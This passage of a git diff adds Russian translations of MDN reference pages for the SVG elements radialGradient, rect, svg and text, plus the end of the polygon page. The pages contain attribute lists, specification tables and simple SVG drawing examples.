+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>ARIA атрибуты</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'shapes.html#PolygonElement', '&lt;polygon&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'shapes.html#PolygonElement', '&lt;polygon&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("svg.elements.polygon")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие базовые фигуры SVG: {{ SVGElement('circle') }}, {{ SVGElement('ellipse') }}, {{ SVGElement('line') }}, <strong>{{ SVGElement('polyline') }}</strong>, <strong>{{ SVGElement('rect') }}</strong></li>
+</ul>
diff --git a/files/ru/web/svg/элемент/radialgradient/index.html b/files/ru/web/svg/элемент/radialgradient/index.html
new file mode 100644
index 0000000000..04906d4fd5
--- /dev/null
+++ b/files/ru/web/svg/элемент/radialgradient/index.html
@@ -0,0 +1,108 @@
+---
+title: <radialGradient>
+slug: Web/SVG/Элемент/radialGradient
+tags:
+  - NeedsUpdate
+  - SVG
+translation_of: Web/SVG/Element/radialGradient
+---
+<div>{{SVGRef}}</div>
+
+<p>Элемент <strong><code>&lt;radialGradient&gt;</code></strong> <a href="/en-US/docs/Web/SVG">SVG</a> позволяет авторам определять радиальные градиенты для заполнения или изменения графических элементов.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Основные атрибуты</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Атрибуты презентации</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#XLink_attributes">Атрибуты Xlink</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Специфические_атрибуты">Специфические атрибуты</h3>
+
+<ul>
+ <li>{{SVGAttr("gradientUnits")}}</li>
+ <li>{{SVGAttr("gradientTransform")}}</li>
+ <li>{{SVGAttr("cx")}}</li>
+ <li>{{SVGAttr("cy")}}</li>
+ <li>{{SVGAttr("r")}}</li>
+ <li>{{SVGAttr("fx")}}</li>
+ <li>{{SVGAttr("fy")}}</li>
+ <li>{{SVGAttr("fr")}}</li>
+ <li>{{SVGAttr("spreadMethod")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+</ul>
+
+<h2 id="DOM_интерфейс">DOM интерфейс</h2>
+
+<p>Этот элемент реализует {{domxref("SVGRadialGradientElement")}} интерфейс.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg width="120" height="120" viewBox="0 0 120 120"
+   xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;defs&gt;
+    &lt;radialGradient id="exampleGradient"&gt;
+      &lt;stop offset="10%" stop-color="gold"/&gt;
+      &lt;stop offset="95%" stop-color="green"/&gt;
+    &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;circle fill="url(#exampleGradient)" cx="60" cy="60" r="50"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example", 120, 120)}}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'pservers.html#RadialGradients', '&lt;radialGradient&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Добавлен атрибут <code>fr</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'pservers.html#RadialGradients', '&lt;radialGradient&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("svg.elements.radialGradient")}}</p>
+</div>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{SVGElement("linearGradient")}}</li>
+</ul>
diff --git a/files/ru/web/svg/элемент/rect/index.html b/files/ru/web/svg/элемент/rect/index.html
new file mode 100644
index 0000000000..8e4b7c9af7
--- /dev/null
+++ b/files/ru/web/svg/элемент/rect/index.html
@@ -0,0 +1,115 @@
+---
+title: <rect>
+slug: Web/SVG/Элемент/rect
+tags:
+  - NeedsUpdate
+  - SVG
+translation_of: Web/SVG/Element/rect
+---
+<div>{{SVGRef}}</div>
+
+<p><code>&lt;rect&gt;</code>  - это базовая SVG фигура, используется для отрисовки прямоугольников по координатам угла, длины и высоты прямоугольника. Также может использоваться для отрисовки прямоугольников со скругленными углами.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Простая фигура, Графический элемент</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>Любое количество указанных элементов в любом порядке:<br>
+    <a href="/en/SVG/Element#Animation" title="en/SVG/Attribute#Animation">Элементы анимации</a> »<br>
+    <a href="/en/SVG/Element#Descriptive" title="en/SVG/Attribute#Descriptive">Элементы описания</a> »</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/shapes.html#RectElement" title="http://www.w3.org/TR/SVG/shapes.html#RectElement">SVG 1.1 (2ое издание)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Простой_пример_использования_rect">Простой пример использования rect</h3>
+
+<p> </p>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120"
+     viewBox="0 0 120 120"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10" width="100" height="100"/&gt;
+&lt;/svg&gt;</pre>
+
+<p> </p>
+
+<p>» <a href="https://mdn.mozillademos.org/files/8893/rect-1.svg" title="https://developer.mozilla.org/files/3247/rect-1.svg">rect-1.svg</a></p>
+
+<h3 id="&lt;rect>_со_скругленными_углами"><code>&lt;rect&gt;</code> со скругленными углами</h3>
+
+<p> </p>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120"
+     viewBox="0 0 120 120"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10"
+        width="100" height="100"
+        rx="15" ry="15"/&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>» <a href="https://mdn.mozillademos.org/files/8897/rect-2.svg" title="https://developer.mozilla.org/files/3248/rect-2.svg">rect-2.svg</a></p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#ConditionalProccessing" title="en/SVG/Attribute#ConditionalProccessing">Атрибуты условной обработки</a> »</li>
+ <li><a href="/en/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Атрибуты ядра</a> »</li>
+ <li><a href="/en/SVG/Attribute#GraphicalEvent" title="en/SVG/Attribute#GraphicalEvent">Атрибуты графических собы</a>тий »</li>
+ <li><a href="/en/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation">Атрибуты представления</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Специальные_атрибуты">Специальные атрибуты</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("rx") }}</li>
+ <li>{{ SVGAttr("ry") }}</li>
+</ul>
+
+<h2 id="DOM_Интерфейс">DOM Интерфейс</h2>
+
+<p>Данный элемент реализует интерфейс <code><a href="/en/DOM/SVGRectElement" title="en/DOM/SVGRectElement">SVGRectElement</a></code> .</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.rect")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ SVGElement("path") }}</li>
+</ul>
diff --git a/files/ru/web/svg/элемент/svg/index.html b/files/ru/web/svg/элемент/svg/index.html
new file mode 100644
index 0000000000..12e37bee9d
--- /dev/null
+++ b/files/ru/web/svg/элемент/svg/index.html
@@ -0,0 +1,119 @@
+---
+title: <svg>
+slug: Web/SVG/Элемент/svg
+translation_of: Web/SVG/Element/svg
+---
+<div>{{SVGRef}}</div>
+
+<p>Элемент <code>svg</code> является контейнером, который определяет новую систему координат и <a href="/en-US/docs/Web/SVG/Attribute/viewBox">область просмотра</a>. Он используется, как самый внешний элемент документов SVG, но также может использоваться для встраивания фрагмента SVG в документ SVG или HTML.</p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Атрибут <code>xmlns</code> требуется только для самого внешнего элемента <code>svg</code> документов SVG.</span> <span title="">Это не нужно для внутренних элементов <code>svg</code> или внутри документов HTML.</span></span></p>
+</div>
+
+<div id="Exeemple">
+<div class="hidden">
+<pre class="brush: css notranslate">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html; highlight[4] notranslate">&lt;svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"&gt;
+  &lt;circle cx="50" cy="50" r="40" /&gt;
+  &lt;circle cx="150" cy="50" r="4" /&gt;
+
+  &lt;svg viewBox="0 0 10 10" x="200" width="100"&gt;
+    &lt;circle cx="5" cy="5" r="4" /&gt;
+  &lt;/svg&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exeemple', 150, '100%')}}</p>
+</div>
+
+<h2 id="Атрибуты"><span class="tlid-translation translation" lang="ru"><span title="">Атрибуты</span></span></h2>
+
+<dl>
+ <dt>{{SVGAttr("baseProfile")}} {{deprecated_inline('svg2')}}</dt>
+ <dd>The minimum SVG language profile that the document requires.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: none; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{SVGAttr("contentScriptType")}} {{deprecated_inline('svg2')}}</dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Язык сценариев по умолчанию, используемый фрагментом SVG.</span></span><br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <code>application/ecmascript</code>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{SVGAttr("contentStyleType")}} {{deprecated_inline('svg2')}}</dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Язык таблицы стилей по умолчанию, используемый фрагментом SVG.</span></span><br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <code>text/css</code>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{SVGAttr("height")}}</dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span class="alt-edited" title="">Отображаемая высота прямоугольной области просмотра.</span> <span title="">(Не высота его системы координат.)</span></span><br>
+ <small><em>Value type</em>: <a href="/en-US/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/en-US/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>auto</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("preserveAspectRatio")}}</dt>
+ <dd>How the <code>svg</code> fragment must be deformed if it is displayed with a different aspect ratio.<br>
+ <small><em>Value type</em>: (<code>none</code>| <code>xMinYMin</code>| <code>xMidYMin</code>| <code>xMaxYMin</code>| <code>xMinYMid</code>| <code>xMidYMid</code>| <code>xMaxYMid</code>| <code>xMinYMax</code>| <code>xMidYMax</code>| <code>xMaxYMax</code>) (<code>meet</code>|<code>slice</code>)? ; <em>Default value</em>: <code>xMidYMid meet</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("version")}} {{deprecated_inline('svg2')}}</dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Какая версия SVG используется для внутреннего содержимого элемента.</span></span><br>
+ <small><em>Value type</em>: <strong><a href="/en-US/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong> ; <em>Default value</em>: none; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{SVGAttr("viewBox")}}</dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Координаты области просмотра SVG для текущего фрагмента SVG.</span></span><br>
+ <small><em>Value type</em>: <strong><a href="/en-US/docs/Web/SVG/Content_type#List-of-Ts">&lt;list-of-numbers&gt;</a></strong> ; <em>Default value</em>: none; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("width")}}</dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span class="alt-edited" title="">Отображаемая ширина прямоугольной области просмотра.</span> <span title="">(Не </span><span class="alt-edited" title="">ширина </span><span title="">его системы координат.)</span></span><br>
+ <small><em>Value type</em>: <a href="/en-US/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/en-US/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>auto</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("x")}}</dt>
+ <dd>The displayed x coordinate of the svg container. No effect on outermost <code>svg</code> elements.<br>
+ <small><em>Value type</em>: <a href="/en-US/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/en-US/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("y")}}</dt>
+ <dd>The displayed y coordinate of the svg container. No effect on outermost <code>svg</code> elements.<br>
+ <small><em>Value type</em>: <a href="/en-US/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/en-US/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Default value</em>: <code>0</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+</dl>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Начиная с SVG2, <code>x</code>, <code>y</code>, <code>width</code> и <code>height</code> являются Geometry Properties, то есть эти атрибуты также можно использовать в качестве CSS-свойств.</span></span></p>
+</div>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/SVG/Attribute/Core">Core Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/en-US/docs/Web/SVG/Attribute/Styling">Styling Attributes</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/en-US/docs/Web/SVG/Attribute/Conditional_Processing">Conditional Processing Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Event Attributes</dt>
+ <dd><small><a href="/en-US/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="/en-US/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a>, <a href="/en-US/docs/Web/SVG/Attribute/Events#Document_Event_Attributes">Document event attributes</a>, <a href="/en-US/docs/Web/SVG/Attribute/Events#Document_Element_Event_Attributes">Document element event attributes</a></small></dd>
+ <dt><a href="/en-US/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>Aria атрибуты</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Примечания_по_использованию"><span class="tlid-translation translation" lang="ru"><span title="">Примечания по использованию</span></span></h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#NewDocument', '&lt;svg&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#NewDocument', '&lt;svg&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Кросс-браузерность"><span class="module__title__link">Кросс-браузерность</span></h2>
+
+
+
+<p>{{Compat("svg.elements.svg")}}</p>
diff --git a/files/ru/web/svg/элемент/text/index.html b/files/ru/web/svg/элемент/text/index.html
new file mode 100644
index 0000000000..d63d1b47dd
--- /dev/null
+++ b/files/ru/web/svg/элемент/text/index.html
@@ -0,0 +1,211 @@
+---
+title: <text>
+slug: Web/SVG/Элемент/<text>
+tags:
+  - NeedsUpdate
+  - SVG
+  - SVG text
+translation_of: Web/SVG/Element/text
+---
+<div>{{SVGRef}}</div>
+
+<p>SVG элемент <strong><code>&lt;text&gt;</code></strong> определяет графический элемент, содержащий текст. Как и к любому другому графическому элементу SVG, к элементу <code>&lt;text&gt;</code> можно применить градиент, шаблон, окантовку, маску или фильтр.</p>
+
+<p>Текст не будет отображаться, если он не находится внутри SVG элемента <code>&lt;text&gt;</code>. Это отличается от сокрытия по умолчанию, поскольку установка <a href="/en-US/docs/Web/SVG/Attribute/display">свойства display</a> не отображает текст.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<div id="Пример1">
+<div class="hidden">
+<pre class="brush: css">   html,body,svg { height:100% }
+ </pre>
+</div>
+
+<pre class="brush: html; highlight[4]">&lt;svg viewBox="0 0 300 80" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;style&gt;
+    .small { font: italic 13px sans-serif; }
+    .heavy { font: bold 30px sans-serif; }
+
+    /* Обратите внимание, что цвет текста задается с помощью        *
+     * fill свойства, а свойство color используется только для HTML */
+    .Rrrrr { font: italic 40px serif; fill: red; }
+  &lt;/style&gt;
+
+  &lt;text x="20" y="35" class="small"&gt;Мой&lt;/text&gt;
+  &lt;text x="60" y="35" class="heavy"&gt;кот&lt;/text&gt;
+  &lt;text x="60" y="55" class="small"&gt;очень&lt;/text&gt;
+  &lt;text x="100" y="55" class="Rrrrr"&gt;Сердит!&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('Пример', 150, '100%')}}</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<h3 id="Глобальные_атрибуты">Глобальные атрибуты</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Conditional_processing_attributes">Условные атрибуты обработки</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Основные атрибуты</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Graphical_event_attributes">Графические атрибуты событий</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Атрибуты представления</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Специфические_атрибуты">Специфические атрибуты</h3>
+
+<ul>
+ <li>{{SVGAttr("х")}}</li>
+ <li>{{SVGAttr("у")}}</li>
+ <li>{{SVGAttr("dх")}}</li>
+ <li>{{SVGAttr("dy")}}</li>
+ <li>{{SVGAttr("rotate")}}</li>
+ <li>{{SVGAttr("textLength")}}</li>
+ <li>{{SVGAttr("text-anchor")}}</li>
+ <li>{{SVGAttr("lengthAdjust")}}</li>
+</ul>
+
+<h2 id="Интерфейс_DOM">Интерфейс DOM</h2>
+
+<p>Этот элемент реализует интерфейс {{domxref("SVGTextElement")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Основы_использования_элемента_&lt;text>">Основы использования элемента &lt;text&gt;</h3>
+
+<h4 id="SVG">SVG</h4>
+
+<div id="Примеры2">
+<pre class="brush: html; highlight[4]">&lt;svg viewBox="0 0 300 80" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;style&gt;
+    .mal { font: italic 16px sans-serif; }
+    .hey { font: bold 26px sans-serif; fill: #6de;}
+  &lt;/style&gt;
+  &lt;text x="0" y="68" class="mal"&gt;- Привет,&lt;/text&gt;
+  &lt;text x="110" y="40" class="hey"&gt;Сахалин!&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+</div>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('SVG', 150, '100%')}}</p>
+
+<h3 id="Изменение_направления_написания_текста.">Изменение направления написания текста.</h3>
+
+<p>Направление написания SVG-текста можно сменить на обратное, применив трансформацию.</p>
+
+<h4 id="SVG_2">SVG</h4>
+
+<div id="Реверс">
+<pre class="brush: html">
+
+&lt;svg viewBox="0 0 400 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;style&gt;
+    .mal {font: italic 16px sans-serif; transform: rotate(180, 50, 50);}
+    .hey {font: bold 26px sans-serif; fill: #6de;}
+  &lt;/style&gt;
+  &lt;text x="-40" y="68" class="mal" transform="rotate(180, 50, 50)"&gt;
+    Пример ротации&lt;/text&gt;
+  &lt;text x="180" y="40" class="hey"&gt;SVG-текста.&lt;/text&gt;
+&lt;/svg&gt;
+
+
+</pre>
+</div>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample('Реверс', 200, '100%')}}</p>
+
+<h3 id="Цвет_текста">Цвет текста</h3>
+
+<p>Цвет текста в SVG-элементе &lt;text&gt; может быть изменён посредством свойства <strong>fill</strong>="[color]" внутри элемента &lt;text&gt;.</p>
+
+<h4 id="SVG_3">SVG</h4>
+
+<div id="Цвет">
+<pre class="brush: html">&lt;svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"&gt;
+    &lt;style&gt;
+      .gri {font: italic 16px sans-serif; fill: #6dd;}
+      .red {font: bold 26px sans-serif; fill: #d66;}
+    &lt;/style&gt;
+    &lt;text class="gri" x="10" y="30"&gt;Цвет текста&lt;/text&gt;
+    &lt;text class="red" x="120" y="30"&gt;SVG.&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+</div>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>{{EmbedLiveSample('SVG_3', 200, '100%')}}</p>
+
+<h3 id="Применение_CSS-стилей_к_содержимому_элемента_&lt;text>.">Применение CSS-стилей к содержимому элемента &lt;text&gt;.</h3>
+
+<p>Содержимое SVG элемента <strong>&lt;text&gt;</strong> может быть стилизовано как обычный текст в HTML.</p>
+
+<h4 id="SVG_4">SVG</h4>
+
+<div id="Стиляга">
+<pre class="brush: html">  &lt;svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"&gt;
+    &lt;style&gt;
+      .stil {font: italic 16px sans-serif;}
+      .list {font: bold 26px sans-serif;}
+    &lt;/style&gt;
+    &lt;text class="stil" x="10" y="30"&gt;Стиль текста&lt;/text&gt;
+    &lt;text class="list" x="140" y="30"&gt;SVG.&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+</div>
+
+<h4 id="Результат_4">Результат</h4>
+
+<p>{{EmbedLiveSample('SVG_4', 200, '100%')}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
